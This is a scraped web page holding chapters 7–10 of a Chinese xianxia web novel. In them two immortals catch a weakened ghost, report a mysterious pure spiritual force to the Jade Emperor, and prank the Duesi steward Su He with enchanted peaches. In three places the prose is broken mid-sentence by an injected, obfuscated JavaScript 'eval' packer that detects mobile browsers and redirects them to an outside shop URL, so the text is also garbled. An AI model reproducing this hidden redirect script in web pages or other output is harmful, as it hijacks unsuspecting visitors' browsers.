“不怕您笑话,当年我不过是个小乞丐罢了,承蒙掌柜照顾,在这清风楼里也算能讨口饭吃,但终究是寄人篱下。” “我勤学苦练数十年,就图有朝一日不必再靠着他人过活,只凭自己亦能做到‘随心’二字。” 7. 小武仙 宋常卿和月音颇有相见恨晚之意,两人本就都是随性之人,聊着聊着便已近深夜。 一壶茶见了底,侍女添上了新的,没过多久又进了三人的肚。 一大半都是谢长渡喝的。 宋常卿和月音聊得投机,他插不上话,便只能在旁边一杯接一杯的灌,喝得多了,哪怕不是酒,却也有了几分醉意。 宋常卿说着说着有些口干舌燥,端起一杯子茶刚准备一饮而尽,手腕却被谢长渡攥住: “拿错了。” 宋常卿一看,见自己的杯子还好端端的在那儿,果然是拿错了杯子。 他想把杯子换回来,谢长渡却攥着他的手腕不松开,宋常卿挣了两下:“你倒是放手啊。” 还是月音发现了谢长渡的状态不大对劲: “这位公子大概是喝醉了。” 宋常卿拧眉:“喝茶也能醉?” 月音解释道:“茶自然不醉人,而是醒神之效,但若是喝多了,那股子兴奋劲儿一过,困意上来,人自然就不清醒了,我们管这叫‘醉茶’。” 宋常卿抬眸看去,谢长渡眼神略微涣散,颜色浅淡的薄唇紧紧抿着,浑身气势看起来比原本更凶了几分,宋常卿却觉得他有些呆愣愣的。 他伸手在谢长渡眼前晃了两下: “谢公子?谢公子?” 见谢长渡没什么反应,宋常卿不由得将眉皱得更深: “坏了,别是真醉了吧?” “那茶是惹着你了吗灌那么多?” 谢长渡这一晚上少说喝了一壶半,脑子微微有些混沌,思绪却前所未有的清醒: “你晾了我一个多时辰了。” 由于喝多了茶,谢长渡的声音有些发哑,多了几分委屈的味道: “你一个字都没同我说,我也插不上话,不喝茶,还能干什么……” 宋常卿只感觉自己额角的青筋一跳一跳: “合着还怪我头上来了?” 谢长渡摇头:“不怪你。” 又喃喃道:“怪我。” 不该把人带到清风楼来。 带宋常卿来这里,本意是想让他尝尝凡间菜肴。清风楼的烧鸡恰巧是京城一绝,二来,三楼的雅间位置高,从窗户看出去便能将大半个汴京城收入眼底,到时小武仙们的信号发出来,二人能及时赶到。 结果现在,蹲守那只厉鬼的小武仙们毫无动静,烧鸡也没让宋常卿吃上,自个儿还被晾在一旁晾了一晚上。 谢长渡周身的怨气几乎化为实质。 宋常卿无奈扶额,乐音识趣地抱着琵琶和侍女出了门,一阵声响以后,屋里只剩他们两个相对而坐。 宋常卿动了动手腕:“你要抓到什么时候?” 谢长渡睫毛微颤两下,乖乖松了手。 没了人陪自己说话,宋常卿总算想起正事来: “不是说下凡捉鬼吗?难不成你打算干坐在这等鬼自己送上门来?” 话音刚落,窗边一股阴风吹过,宋常卿手中长鞭骤然显形,手腕一甩,鞭身便飞出去卷住了什么东西。 一声惨叫响起,宋常卿手臂微抬,猛地将鞭子抽回来,那东西也跟着摔进屋内。 ……还真是只龇牙咧嘴的厉鬼。 被鞭子五花大绑着躺在地上也不消停,面目狰狞地嘶吼着挣扎不停,眼眶里的眼球一片纯白色,布满骇人的红血丝,涎水不停的从嘴角流下。 宋常卿没同这恶心玩意儿打过交道,不知道该如何收服,自言自语了句“真丑”便转头看向谢长渡。 谢长渡的脑子这会儿总算是转过弯来了,两手捏了个诀,浅白色的光向那只厉鬼涌去,厉鬼立马撑起身上的鬼气抵抗,奈何力量差得太多,最终还是尖啸一声,变成颗圆润的珠子躺在谢长渡手心里。 宋常卿手一挥,鞭子便散作烟尘飞回袖中,他惊奇地倾身过去,戳了两下:“这就完事儿了?” 谢长渡“嗯”了一声。 两人都默契的没提刚才那出闹剧,宋常卿一手撑着下巴靠在桌边,指尖有一搭没一搭的敲着桌面: “这鬼这么好抓,怎么还用得着你亲自跑一趟,还硬要拉上我。” “你们渡厄司的人都这般……没用吗?” 宋常卿顿了一下,“废物”两个字卡在喉咙里,终究是没说出口。 看在谢长渡的面子上,还是不骂那么难听了。 谢长渡将那颗珠子随手搁在桌面上,也有些不解: “它手上沾了几条人命,照理正是最凶戾的时候,怎么也不该是这幅虚弱样子。” 他不知收服过多少妖魔厉鬼,自然是一眼便看出了这只厉鬼实力十不存一,神智全无,才会旁若无人的自他们窗边路过。 这显然不是渡厄司派下来的那帮小武仙能有的手段。 况且鬼物最会趋利避害,清风楼处在整个汴京最繁华的地段,又正是上元节,街上人最多的时候,不该有任何阴邪之物出现才对。 桥下那个老伯有功德在身,尚且只能在晚间显露身形,何况这等厉鬼? 谢长渡皱了皱眉,究竟发生了什么,只能等那些小武仙找到这里来再问了。 他们并没等多久,不过半盏茶时间,一个穿着黑白袍子的少年便跌跌撞撞的闯进来: “掌司大人!掌司大人!不好了!那只厉鬼它……它跑了!” 少年喘着粗气,一句话分了好几段才说完:“那只厉鬼太过狡猾,我……我们几个好不容易找到了它的藏身之处,隐匿了身形在附……附近蹲守着,结果不久前那边突然出现了极强的灵力波动。” “小仙以为是……是您,便没敢贸然上前,结果……结果……” “灵力波动消失以后,小仙等人感觉不大对劲,便遣了人上去查看,那只厉鬼连影子都没了!” 他在这儿说着,谢长渡垂眸听着,宋常卿便撑着脑袋打量那小武仙。 袍子的形制同先前在渡厄司内见到的那帮小文仙是一样的,只是配色以黑为主,文仙们则以白为主,袖口镶着一圈焰纹,文仙们袖口却是云纹。 只是个子矮矮的,身板也薄,这一身衣服穿在身上不但没能显出气势来,反而看着傻憨憨的。 谢长渡指了指桌上搁着的珠子:“你看看,是这只吗?” 小武仙上前查看一番,面露惊喜: “就是它!没想到让二位大人碰上了!” 谢长渡将当时的情况简述了一下,淡淡道:“它从我们窗边路过,恰巧让小天君察觉了。” 小武仙猛点头: “小天君真是太厉害了!我们几个可是花了好几天才找到一点蛛丝马迹!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176440|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋常卿被他这么一说,僵着身子道:“你……你别这么说。” 过分纯粹的夸奖让他有些不知所措。 小武仙不解道:“小天君不必谦虚的,您就是比我们厉害很多啊。” 那是你没听过我在天庭的那些“丰功伟绩”,宋常卿想。 他已经基本认定了,渡厄司这帮人除谢长渡和那条蛇以外,是真的完全不过问天庭里的那些闲话了。 他略过这个话题,转而问道:“你们掌司说这厉鬼身上有点问题,你再看看。” 小武仙又竭力查探了一番,道: “小仙实力低微,只能看出这只鬼似乎神智全无,实力也削弱得极为严重,应当是受了重伤……” 谢长渡起身道:“带我们去它的藏身之处。” “是。”小武仙应了一声,转身在前面带路。 宋常卿伸了个懒腰,也起身跟上,离开前,他掏了掏袖子,拿出锭银子放在桌上,提起一旁的笔在桌面上写了几个字: [茶钱,多的算我买这张桌子] [——宋] *** 在凡人面前不能显露出仙力,三人只能在屋檐上腾跃,如同凡间的轻功一般,借着夜色赶路。 谢长渡想着桌上宋常卿提笔题下的那个龙飞凤舞的“宋”字,忽然侧头看向宋常卿: “……你很喜欢题名吗?” 宋常卿一愣:“啊?” 谢长渡又把头转了回去:“没什么。” 宋常卿却把他先前那句问话听得清楚,道: “顺手而为罢了,心情好了就题个名上去,别说桌子了,柱子,扇子甚至衣裳我都题过呢。” 谢长渡没理会他,抿着唇自顾自赶路。 宋常卿嘀咕了句“又犯什么疯病”,也没再说话,两人沉默地跟着小武仙到了地方。 那只厉鬼的藏身之处在汴京的一处偏僻巷子里,三人刚靠近就有四五个穿着黑白袍子的小武仙拿着武器蹦出来,看见领路的小武仙又长舒一口气: “老大!” “老大!掌司怎么说?” “老大……” 几个小武仙围着领路小武仙一通问,还是宋常卿轻咳出声才注意到旁边还有两个人,着急忙慌的乱哄哄行礼: “见过掌司大人!” 谢长渡微微颔首,小武仙们纷纷站直了身子,没了刚才那股子闹腾劲儿,眼神却不住往宋常卿身上飘。 最终还是有个小武仙没憋住,问道: “掌……掌司大人,这位公子是……” 谢长渡回答得言简意赅: “小天君,往后也在渡厄司任职,有什么情况便直说,不必避讳。” 领路的小文仙连连点头: “咱们蹲守的那只厉鬼就是被小天君察觉并一招收服的!可厉害了!” 不知道这孩子路上都自己在脑子里想了些什么,这会儿已经完全把宋常卿当做一个新的崇拜对象了。 别的小武仙听到他这么说,也连连惊叹: “哇!” “小天君好厉害啊!” 宋常卿看着五六个还没胸口高的萝卜头一齐满眼崇敬地看着他,心底难得升起了几分心虚感。 他也不知道这厉鬼发什么疯往他手上撞…… 8. 回天庭 小武仙们自然不知宋常卿脑中在想些什么。 他们自化形成人,有意识起便在渡厄司做事,没听过天庭里那些传言,只知道掌司大人是渡厄司里顶厉害顶可靠的人,小天君能站在掌司大人身侧,自然也是顶厉害的。 被几个萝卜头一齐眼神发亮的盯着,宋常卿也有些顶不住,伸出脚尖悄悄踢了踢谢长渡,示意他说些什么。 谢长渡却动也不动一下,抿着唇垂眸不知在想些什么。 宋常卿只得轻咳两声,道: “那厉鬼定然是碰见了什么,事不宜迟,我们还是抓紧去看看吧。” 说完,他也不管几人如何应答,逃也似的提步朝巷子里走去,几个小武仙面面相觑一会儿,齐齐望向谢长渡: “掌司大人,我们是不是说错话了?” 谢长渡抬手拍拍领头小武仙的发顶,没答他们的话: “我们也进去瞧瞧。” 巷子不算宽,勉强能容两人并肩而行,谢长渡脚尖一点,便飘然到了宋常卿身侧,几个小武仙分了两串,缀在二人身后。 没走几步便到了尽头,宋常卿和谢长渡同时眉头一皱,感应到了附近浓厚的鬼气和灵力。 墙面上尽是凌乱的凹痕,鬼物无形,是无法在凡间事物上留下痕迹的,这些凹痕显然出自其他人。 宋常卿伸手沿着那些凹痕的走向比了比: “这形状是不是不大对劲?我见过的武器里头,似乎没有打出来是这个样子的。” 凹痕的形状很怪,圆而细长,连贯的一长串,看起来像是鞭子抽出来的,但宋常卿自己便是用鞭的,心知鞭身抽在墙面上不该是如此形状。 他转头看向谢长渡,对方却也摇了摇头: “那人用的武器应当不常见,我也不曾见过。” 宋常卿抬手从那凹痕中招了一丝灵力出来,在指尖绕了绕: “用的是灵力而非仙力,莫非是凡间术士出手了?” 谢长渡闻言也招了一丝灵力在手上,查探一番,却没有什么发现,道: “应当与凡间术士无关,他们之中似乎无人有这般实力打败厉鬼,还不被武仙们察觉踪迹。” 小武仙们堵在后边,闻言齐齐点头为自己证明: “我们几个看得真切,绝对连只苍蝇都不曾进去!” 宋常卿无聊地扯了扯手中那丝灵力,突然感到不大对劲:“等等,凡间术士的灵力有这般纯净吗?” 手中的灵力丝线颜色淡淡的,近乎透明,但在宋常卿为数不多关于凡间术士的记忆中,他们使用的灵力大多浑浊不堪,呈现出各种颜色。 或青,或红,或黄…… 但手中这一丝灵力却不同,它纯净得过分,几乎看不见一点杂质。 绝不可能是那些只能窥见些许皮毛的凡间术士能使出来的。 谢长渡也想到了这里,眉头一下子拧得老高: “我们立刻回天庭,将此事告知玉帝。” *** 南天门,看守的天兵们正趁着现在没人进出,凑在一块儿闲聊。 “你们说这次渡厄司那位下界,为何偏要带着小天君啊,这不就是随身带了个麻烦吗?” “我估摸着定然是小天君性子上来,硬要跟着掌司下界,没见那位出南天门的时候,被气得连话都不说了?” “那位不一直沉默寡言的,我老远瞧着就开始打怵。” “都别说了,安分点吧,仙君们做什么自有他们的道理,哪是我们这帮人能随意揣测的?”一个天兵突然道。 他对面的天兵却丝毫没有察觉到不对劲,道: “怎么就不能说了?小天君能坐上天庭三害的位子,你们敢说自己没悄悄投上一票?” “人被下放到渡厄司去的时候一个个欢欣鼓舞的,这会儿他都下界了,怎么还憷上了?” 正说着,他感觉有人用什么拍了拍自己的肩膀,摆摆手: “别动手动脚的,哥儿几个正聊着呢。” 那人道:“你们在聊些什么?” 天兵不耐烦地挥挥手: “还不是那个疯……” 话刚说到一半,他注意到对面同僚脸上近乎怜悯的神色,似乎意识到什么,脖子一寸寸往回转,挤出一个比哭还难看的笑: “我……我是说,那个风……风流倜傥的小天君啊。” 宋常卿手中的鞭子不轻不重地拍拍他肩头,声音听不出什么起伏: “哦。” 轻轻的一个字却好似有千斤重,天兵只感觉身周一股压力传来,似乎连空气都被驱散。 宋常卿手中的鞭子依旧搁在他肩头,天兵浑身僵直,生怕宋常卿下一瞬就用这东西卷住自己的脖子。 刚闭上眼准备受死,就听到另一道微沉的声音响起: “正事要紧,先走吧。” 肩上的硬物消失,天兵总算松了口气,谢长渡和宋常卿自南天门进了天庭,离去之前,眼神冷淡的瞥了几个刚站回原位的天兵一眼: “玩忽职守,妄议仙君,自去领罚。” 几个天兵哪敢有异议,忙不迭点头,小武仙们看着他们,纷纷气鼓鼓地“哼”了声,也跟着进去了。 走出去一长段路,有个小武仙还是憋不住问道: “掌司大人,就这么放过他们了?” 谢长渡还未答话,宋常卿捻着右耳上的坠子回头看他,唇上挂着笑: “他们说的那些话又无伤大雅,随意罚罚得了,真那么较真做什么?” 小武仙被他的笑晃了下神,眨眨眼,鼓着腮帮子道: “可他们骂您!” “他们说您是麻烦,还说您……您是……” 另外几个萝卜头也气鼓鼓地点头赞同,眼睛瞪得老大,颇有为宋常卿抱不平的意思,看这架势,若不是谢长渡在这儿不敢造次,早冲上去和那几个天兵干架了。 宋常卿无奈,拍了拍身旁里他最近的那个小武仙的脑袋: “这天庭里头骂我的人多了去了,你们一个个都这样气过去,哪气得过来?” 小武仙们眼珠子瞪得更大了: “竟然还有别的人骂您?!” 宋常卿看着这一帮小河豚,一时间想不明白那条心眼子比筛眼都多的臭蛇,是怎么教出来这么些,把脑子凑一块儿也不见得有一个拳头大的手下的。 宿禾正窝在桃树下的躺椅里百无聊赖地翻着话本,突然重重打了两个喷嚏: “阿嚏!” 他揉揉有些发酸的鼻尖,紧紧身上的大氅,自言自语道: “都飞升成神仙了,怎么还会感冒啊。” 说着还打了个呵欠:“这温度对冷血动物实在是太不友好了点……哈……” 宋常卿同谢长渡到了凌霄殿门口才反应过来自己正和玉帝赌气,但人已经到了门口也不好扭头就走,只得不情不愿的跟着进去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176441|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谢长渡同玉帝讲话,他便坐在一旁,一副事不关己的模样,自顾自戳着盘子里的葡萄,把圆溜溜的果子一个个从梗上戳下来,滚落到盘子里。 但即便宋常卿一个字不说,正事说完以后,话题还是不可避免的转到了他头上。 玉帝依旧是那副公事公办的模样,没有因为宋常卿是自己外甥而有丝毫偏袒: “常卿性子向来任性,若是惹了什么祸事,你自行处置便是,不必问我。” 宋常卿不满地皱眉,刚想张口反驳,谢长渡便道: “小天君性格率真,不是会随意惹起事端的人,反倒是有些人……” 谢长渡声音微微冷了几分:“自己无用,便将怨气发泄到他人身上,此等秉性,若不整治,才真会惹出祸事来。” 宋常卿一听便知道谢长渡是在暗指那个在杏园集会上闹事的星君,心情顿时愉悦了几分。 玉帝统领天庭数千年,又怎么听不出谢长渡的言外之意。 他搭在扶手上的手指轻敲两下,指尖与玉质的扶手相碰,发出清脆的“嗒嗒”声,忽而轻笑道: “倒是稀奇,你竟也会听天庭那些传言。” “当日之事,的确是我思考欠妥了,我欠常卿一句道歉。” 宋常卿怎么也想不到事情会发展到如此局面,干巴巴的回了一句: “也……也没什么,我又没多生气。” 玉帝却摇了摇头:“你若真不生气,又怎会连着半个多月都不曾来见我一次?何况,你生气与否是你的事,我说错了话做错了事,该不该道歉,是我的事,二者并不相悖。” 说到这,玉帝话锋忽而一转:“但渡厄司,常卿还是得去。” 宋常卿撇撇嘴:“知道了知道了,啰嗦。” 听到宋常卿对自己说话的语调又恢复了往日的亲昵,玉帝无奈笑笑: “行,我就不讨你嫌了,先出去吧,我同长渡还有些话要说。” 宋常卿明白后面的话不便让他知晓,拍拍手起身出了凌霄殿,刚踏出门槛,一帮小武仙便叽叽喳喳围上来: “小天君小天君!玉帝陛下怎么说啊?” “凡间若真出了那么厉害的术士,他要是和我们抢活儿干可怎么办?” “咦,掌司大人呢?他为什么没和小天君一同出来?” 宋常卿被吵得头疼,抬手做了个噤声的手势,几个萝卜头立马捂住自己的嘴巴,却依旧满眼期盼地看着宋常卿。 见他们总算安静下来,宋常卿才道: “那只厉鬼究竟碰见了何方高人暂且不知,玉帝自会让兵马司那边派人下去查,你们做好自己的差事就行。” 小武仙们齐齐点头,视线又不住往宋常卿身后瞄。 宋常卿无奈的扯扯唇角:“别看了,你们掌司大人叫玉帝给扣下了,咱们先回去。” 小武仙们似懂非懂的点头,乖乖跟着宋常卿离去。 察觉到一行人已经远离了凌霄殿,玉帝抬手设下一道结界,语气中没了先前的威严,而是多了几分闲适,如同与家中小辈闲聊一般: “我原以为常卿的那条渡身路,你会派别人去,不曾想竟是你亲自领着他去走。” 谢长渡依旧语气平淡:“可惜走断了。” 玉帝摆摆手道:“走断了,再走一次便是,你们渡厄司的规矩我不过问,只有一个要求。” 他眯了眯眼:“常卿绝不能有任何差错。” 9. 老树精 谢长渡淡然地给自己倒了杯茶:“这是自然。” “不过陛下,” 他指尖抵在杯口,来回摩挲着: “小天君的命格既出现了转机,陛下为何不告诉他?反倒不曾知会一声便将人送到渡厄司来,平白惹他不悦。” 玉帝听出他语气中的轻微不满,轻叹道:“常卿的性子像极了他娘,向来是不喜这些的。” “别瞧他平日里总把太白星君写的那两句批命挂在嘴边,可真要他为此去做些什么,却比谁都抗拒。” 玉帝十分清楚,宋常卿从不将所谓的天命放在眼中,天命让他去做什么,宋常卿反倒偏不去。 反之,天命越不让他去做的,他偏要去做。 天命说他多行走动可得正缘,宋常卿转头便将自己塞进了文昌殿,整整两百余年闭门不出。 天命说人间大乱,有大凶之兆,宋常卿刚打文昌殿出来便下了凡,天庭众仙怎么拦都不管用,最后还是大半日后他自个儿回来了才作罢。 宋常卿擅卦,但卜卦从不为预测吉凶,反倒是为了逆天而行,也难怪整个天庭的人都叫他疯子。 直接同宋常卿讲定然是行不通的,可这事又容不得半点差错,玉帝只能出此下策。 谢长渡抬眸看向主座上俊美的中年男人,众仙眼中英明神武,仿若无所不能的玉帝陛下似乎短短百年间便老了不少,平日里看不出来,一松懈,眉宇间的沧桑便尽数显现出来。 他站起身来,认认真真的给玉帝行了个礼: “陛下既将小天君托付予我,在下自当竭尽全力。” “知道就好,长渡啊,这天庭上下除了太白星君,也就只有你最让我信任。” 玉帝目光沉沉的看着谢长渡,半晌才垂眸挥了挥手: “你也回去吧,只是记住我说的话。” “大乱在即,天庭马上就不太平了……到时,也只有你能护住常卿。” 谢长渡走到凌霄殿门口,忽而回首: “事情也未必就到了最无可挽回的地步,望陛下保重身体,莫要再行伤身之法。” 言罢,转身离去,未给玉帝回话的余地。 “还是瞒不过你,呵呵……咳咳……咳……” 玉帝靠在座上无奈的笑起来,笑着笑着又是一阵剧烈的咳,忍不住喷出一口血来。 一口精血吐出,他的精神顿时萎靡下来,整个人仿佛又苍老了几分,连眼瞳中的金色也黯淡下去,但不过一瞬,他便挺直了背,用拇指擦去嘴角的血迹,眸中精光复又亮起,眉峰往下稍压,还是那个英明神武的玉帝。 他抬起手,宽大的袖口自然下滑,露出紧实的小臂,一条血线自腕间往下蔓延,沿着筋脉延伸,消失在月白色的布料之下。 玉帝轻舒一口气:“还有几年时间,倒是够用了。” 他扶着扶手站起身来,袖口自然垂落,掩住苍白得不正常的指尖。 玉帝转身回了卧房,接连设下三道结界后才抬手按在榻边的墙面上,浅浅的光亮夹杂着灰气一同涌入其中,形成一个模样诡异的漩涡。 若是谢长渡在这,一眼便能认出那灰气正是自地府消失后,就再未出现过的幽冥之气。 而那浅浅的光亮,与他和宋常卿在凡间发现的不明灵力如出一辙,只是玉帝使出的显然要更纯净些。 只听“咔嚓”一声轻响。 漩涡骤然扩大,直至能容一人通行,玉帝放下手,理了理衣襟,抬步踏入其中。 漩涡缓缓变小,消失在墙面之上,烛台上的烛火自顾自跃动着,仿佛方才发生的一切不过都是幻觉。 *** 宋常卿溜着一串小武仙慢悠悠的回了渡厄司,路过宿禾院门口的时候正巧瞧见他窝在树下的躺椅内,脸上盖着本书睡得正香。 先前被晾在门外整整半个多时辰的旧仇涌上心头,宋常卿眯眯眼,瞥了眼花开得正盛的桃树,心底有了主意。 先前领路的小武仙见他杵在院门口不动弹,以为小天君是好奇院子里的人,忙不迭开口喊道: “总管……唔……唔唔……” “总管大人”四个字刚吐出来一半,宋常卿一个封口咒飞过去,小武仙上下嘴皮子顿时黏在一起,怎么也张不开,只能着急的“唔唔唔”。 宋常卿朝他们眨眨左眼,比了个噤声的手势,另外几个小武仙慌忙抬手自己捂嘴,生怕也被甩个封口咒。 宋常卿转头看向院里,见宿禾毫无察觉,还用话本蒙着脸呼呼大睡,轻呼一口气,一片云便在身前成形,宋常卿踏上去,朝几个小武仙勾了勾手指,萝卜头们领会到他的意思,一个个卯着劲爬上去站好。 宋常卿手一招,云彩缓缓飘起,将几人带到桃树上空,宋常卿示意小武仙们在上边看着,自己念了个咒,“砰”一下变作个巴掌大的小人儿从云上跳下去,落到桃树枝杈间。 宋常卿在树枝上找了个舒服的姿势坐下,伸手拍拍树干,桃树的枝杈叶子也跟着抖了抖,下了一阵花雨。 宋常卿又拍了拍树干,悄声威胁道:“别装死,老树精。” 桃树叶子微微抖了两下,没有回应。 拍在树干上的力道又大了点,小小一个红色的人儿坐在枝叶间,比树叶大不了多少,气势却比谁都足: “再装死我回头就让谢长渡把你给砍了信不信?” 桃树枝颤了颤,总算有了回应,一朵桃花凑到宋常卿身边,老树精轻缓苍老的声音自其中响起: “咳咳……老朽年纪大了,反应难免慢些,望小天君见谅。” 宋常卿轻嗤了声,又拍拍树干:“别废话,结几个桃子出来。” 老树精犹豫一瞬,没有动作。 宋常卿又是一掌拍在树干上,留下一个浅浅的小手印。 几朵桃花这才颤颤巍巍的垂到宋常卿身侧,而后花瓣开始脱落,小小的青果子冒出来,几个呼吸间,四五个比宋常卿人还高的桃子便结出来,淡淡的清香在身旁萦绕着。 宋常卿满意的点点头,眯眼看准了树下宿禾的位置,两手搬起一颗硕大的桃子砸下去。 为防效果不佳,宋常卿还在桃子外边罩了一层仙力,硬重得如石块一般。 宿禾被这一下砸得险些吐血。 脸上的话本都被甩到了一边,宿禾坐在那儿捂着被砸中的胸口撕心裂肺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176442|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳了一阵,才注意到险些把他送上奈何桥的玩意儿竟然只是一颗硕大饱满的桃子。 他起身将那颗桃拾入手中,轻轻颠了颠,抬头往上瞧,但宋常卿缩小了隐匿在桃树繁茂的枝叶间,宿禾看了半天也没找着罪魁祸首,便拍拍桃树的树干: “不就是上次骗了你几颗桃吃吗,还想着报复我呢。” 说着,他将桃子收入袖中,道: “放心放心,这次保准不诓你,一定帮你开枝散叶。” 宿禾凭着一条三寸不烂之舌,忽悠过的人能打这儿排到南天门,连院里这棵老桃树也不例外,他便没多想,只当老树精还记着上次被骗的帐,拍拍树干随意瞎扯了两句又窝回了躺椅里。 刚躺好闭上眼,又一颗桃砸下来,这次是直直朝着面门。 宿禾忙从袖中掏出把折扇挡下,满眼怒气的指着桃树还未发话,枝叶间又飞出颗硕大的桃来,这一回瞄准了他的下颌。 宿禾将折扇打开挡在身前,桃子撞在扇面上还旋了几圈,才卸力掉在地上。 宿禾手腕被震得发麻,老桃树修为不高,过去报复顶多也就伸树根出来绊他两下,或者趁宿禾在树下睡觉时使劲摇枝子吵得他睡不着。 偶尔气急了拿桃子砸他,力道也从没这么大过。 宿禾脑中转了转,一下便明白了究竟是谁在搞鬼: “宋!常!卿!” 见他反应过来,宋常卿也不再藏,念咒变回原形,容貌昳丽的红衣人骤然出现在桃树枝干上闲闲的晃着脚,乌黑发丝凌乱的搭在周围的细小树杈上,一下便抓住了他人眼球。 宿禾看呆了一瞬,旋即又怒起来: “你干什么砸我!” 宋常卿倚靠在树干上继续晃着脚,闻言挑挑眉:“当然是报复你啊。” 宿禾自知理亏,但还是不服气:“你……你一个武仙欺负我这个文仙,你还有理了?” 宋常卿颇为无辜的眨眨眼,耍赖道: “敛光君这话就不对了,我可是文昌殿正正经经挂名的文仙,就算现在到了你们渡厄司,任的也是文仙一职。” 见他玩赖,宿禾顿时气不打一处来: “你一个以武飞升的家伙算个屁的文仙!” 几个小武仙排成一排,齐齐趴在云上往下看,见底下两人吵起来,一个小武仙担忧道: “老大,我们要不要下去劝劝?” 领头的小武仙嘴皮子还黏在一块儿,“唔”两声,摇了摇头。 另外几个小武仙见他摇头,又听见下方的气氛越发剑拔弩张,现在下去指定要被连累,没怎么犹豫便都决定静观其变。 宿禾被宋常卿气了个半死,但又拿他无可奈何,一来把宋常卿晾门外这事儿确实是他理亏。 文昌帝君毫不停歇的给他传了半个多时辰的讯来催人,结果自己沉浸在话本里头完全没注意到。 二来…… 他打不过宋常卿!!! 他一个手无缚鸡之力……不对。 他一个最多能打只小鬼,最高战绩不过是未成仙时吃了只老虎的柔弱文仙,怎么打得过宋常卿这个抬手就能把厉鬼打个半死的货! 10. 青玉扇 宿禾想传讯给谢长渡告状,但转念一想,以谢长渡现在对树上那家伙的态度,没准不仅不会问罪,宋常卿下来以后没准还会一脸淡定的夸他砸的好。 天知道宋常卿给谢长渡灌了什么迷魂汤,自从那日在院外碰了一面以后魂儿就像被勾走了一般,就连渡身之路都要亲自下界领着他走。 宿禾咬咬牙,抬头对上宋常卿挑衅的眼神,转身回了屋内。 惹不起他还躲不起吗?! 事实证明,确实躲不起。 因为就连渡厄司里那帮小武仙也被灌了迷魂汤,帮着宋常卿折腾他。 宿禾:“……” 宋常卿兴致上来了就亲自蹲在树上摘桃子砸人,其它时候就让小武仙们轮班守着,看见宿禾过来就猴儿似的拿桃子追着他的脸砸。 半个月后,又一次被树上长了眼睛的桃子砸中的宿禾忍无可忍,冲到谢长渡的书房,一巴掌拍在桌上,力道之大,连桌上摆着的笔架也为之一震: “谢长渡你管管他!” 他指着额头上一个盖一个的包:“半个月!半个月了!宋常卿一天天啥也不干,就蹲在树上拿桃子砸我!!!” 宿禾把桌子拍得“啪啪”响:“要么你给他找点事儿做,要么我就不干活了!” “我和他,这渡厄司里只能留一个!” 谢长渡将目光从面前堆积成山的文书中收回来,看着宿禾脸上那一片青青紫紫,良久才缓缓吐出一个字: “该。” “谢!长!渡!” 宿禾简直要疯了:“我真罢工了!以后那些文书我一个字儿不看,全让人送过来,把你埋了算了!” 谢长渡依旧淡淡的:“好。” 宿禾被他的反应差点气到灵魂出窍,出门右转走半里路就能上奈何桥。 他深吸一口气,眼珠子转了转,忽然从袖子里掏出把青玉扇子: “只要你能说服宋常卿别再逮着我折腾,这扇子就归你了。” 宿禾手中的扇子通身由青玉雕成,扇面上绘着一片荷塘,正是宋常卿先前在宿禾院中随手赏给小文仙的那一柄。 谢长渡连个眼神都没分给宿禾,提起笔又垂眸批起文书来。 宿禾装模作样的叹了口气:“唉……不要就算了,这可是小天君赏的物件儿,我花了好大代价才从那小文仙手里换来的,要我送人我还不乐意呢……” 谢长渡:“我会帮你劝他。” 宿禾一下子笑得见牙不见眼: “你这是什么话,这扇子本就是准备送你的,哪用得着这么麻烦,记得帮我多说几句好话嗷~” 谢长渡将手伸到他眼前:“扇子。” 宿禾白他一眼:“你真是没救了。” 他把手中的青玉扇子往谢长渡手心里一拍,转身就要走,余光却瞥见谢长渡左手手腕。 手指纤长劲瘦,却不显得纤弱,腕骨突出……但这些都不是重点。 宿禾不可置信:“你那颗珠子呢?” 谢长渡腕上一片空荡,那颗白玉珠子连带着红绳一同不见了踪影。 察觉到他的视线,谢长渡往腕上瞥了一眼,语气淡然: “摘了。” 这一答复让宿禾更是惊诧,他先前听太白金星说过,谢长渡手腕上挂着的那串红绳可是自他飞升就在的,从不离身的挂了两百多年,如今却给摘了?! 宿禾瞪着眼睛想去探谢长渡的额头,看他是不是被什么玩意儿给夺舍了。 谢长渡抬手将他的手挡下来: “你该回去批文书了。” 宿禾脸上的表情转眼便全部消失,木着脸转身就走,出了门就开始小声叭叭: “成天就知道文书文书文书,捉鬼捉鬼捉鬼,生产队的驴都不带这么使的,以后和文书厉鬼凑一块儿过日子得了。” 他这些话都让谢长渡听入耳中,指尖微顿了一下,旋即自袖中取出一个精美的盒子来。 动作间衣领微松,一条细细的红绳在脖颈间若隐若现。 